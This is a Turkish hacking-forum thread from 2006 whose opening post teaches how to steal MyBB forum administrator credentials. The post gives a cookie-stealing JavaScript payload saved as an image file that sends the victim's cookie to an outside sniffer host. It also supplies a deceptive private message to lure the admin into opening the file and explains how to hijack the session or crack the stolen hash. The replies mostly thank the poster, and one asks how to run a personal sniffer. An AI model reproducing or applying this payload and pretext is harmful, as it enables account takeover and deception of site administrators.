İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

MyBB FORUMLARI ADMİN SİFRESİNİ CALMAK

31-10-2006 17:38
#1
BY_CRAB - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2006
Nereden:
ADSL
Mesajlar:
382
Teşekkür (Etti):
0
Teşekkür (Aldı):
15
Konular:
80
Ticaret:
(0) %
Evet Şimdi MyBB forumlardaki uplout açığı sayesinde forumdaki yöneticilerin şifrelerini çalmayaı anlatacağım.



>İlk başta bir not defteri açıyoruz ve aşağıdaki verdiğim kodları için yazıyoruz farklı kaydet diyip ''.jpg veyada .gif'' şeklinde yani resim formatında kaydedeceğiz.



kod : **********img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+********.cookie;</script>


Daha sonra siteye üye olup avatar bölümünden göz at diyip resmimizi göz at diyip yüklüyoruz.

Resmimiz forumlarda gözükmeyecektir.Sağ Tıklayıp Özelliklerden Resmin URL sini yani adresini seçip kopyalıyoruz.

Sonra admine özel mesaj gönderiyoruz ve şu tarz bir bilgi yazıyoruz:

'' Ya kardeş benim Her Tarafta kullandığım çok sevdiğim bir avatarım var ama senin sitende görükmüyor sorun nedir acaba avatarın linkini verdim aşağıda diyoruz. ve avatarın linkini koyuyoruz.''

admin linke tıkladığı zaman admin cookie* hash* userid falan hepsi buraya geliyor
http://antichat.ru/sniff/log.php

Bilgiler geldikten sonra http://www.cookieeditor.com/ giderek cookie editörü indiriyoruz. ve kendi bilgilerimizi değiştirip adamın bilgilerini giriyoruz kaydediyoruz tekrar siteye giriyoruz ve admin girişi yapıyoruz. Yada admin hash'ı ile www.milw0rm.com 'dan kırdıktan sonra adamın nick'i ve şifresi ile online oluyoruz.. olay bu kadar basit

Kullanıcı İmzası

01-11-2006 17:25
#2
turklord - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2006
Mesajlar:
38
Teşekkür (Etti):
0
Teşekkür (Aldı):
5
Konular:
17
Ticaret:
(0) %
bi şey anlamdım ama sağol
02-11-2006 18:45
#3
pee-wee - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2006
Mesajlar:
3
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
ya kardeşim siteye eklemeye çalışıorm ama geçersiz dosya dio nolcak?
02-11-2006 19:18
#4
serdar7 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2006
Mesajlar:
23
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
3
Ticaret:
(0) %
ilginç bir yöntem
02-11-2006 21:16
#5
by_hangman - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2006
Nereden:
C99.txt? - R57.txt?
Mesajlar:
200
Teşekkür (Etti):
0
Teşekkür (Aldı):
1
Konular:
18
Ticaret:
(0) %
saol kardeş paylaşım için
Kullanıcı İmzası
Kah Çıkarım Gökyüzüne;
Seyrederim Alemi...
Kah inerim Yer yüzüne;
Seyreder Alem beni...



TÜRKLÜK bedenimiz İSLAMİYET ruhumuzdur. Ruhsuz beden ceset olur.

سْــــــــــــــــــــــمِ اﷲِارَّحْمَنِ ارَّحِيم
06-11-2006 16:13
#6
Üyelik tarihi:
11/2006
Mesajlar:
13
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
paylaşım için saol
09-11-2006 09:06
#7
GLOBAL34 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2006
Nereden:
dünyadan
Mesajlar:
327
Teşekkür (Etti):
1
Teşekkür (Aldı):
32
Konular:
30
Ticaret:
(0) %
3m3ğ3 s4yg1 guzel paylaşım
Kullanıcı İmzası
Ne MuTLu TüRKüM DiYeNe

H4Y4L3 Y4Ş4Y4N MüZ1kS1z D4Ns 3D3R
TeŞeKuRe TıKLaMaYı UnUTMaYıN EmEğE SaYgıLı OLaLıM.LüTFeN
SeLaMeTLe KaLıN...
15-11-2006 11:02
#8
R0mantiC - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2006
Mesajlar:
18
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
1
Ticaret:
(0) %
Alıntı:
turklord´isimli üyeden Alıntı Mesajı göster
bi şey anlamdım ama sağol
Bak babacan turklord nasıl güzel anlatmış
15-11-2006 18:49
#9
komando607 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2006
Mesajlar:
61
Teşekkür (Etti):
0
Teşekkür (Aldı):
15
Konular:
9
Ticaret:
(0) %
güzel bir paylaşım saol kardeş
Kullanıcı İmzası
ShaRP_MaRKer
Şeyy..!Benim imzam yokta; parmak bassam olur mu..?
+REP leri unutmayalım lütfen
15-11-2006 19:05
#10
Dr.Deadly - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2006
Mesajlar:
15
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
1
Ticaret:
(0) %
yaw anlatmışken kendi snifferimizi kurmayıda oğretseydin kendi sitemizde koyar kendimiz yararlanırdık neyse paylaşım için sağolasın

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı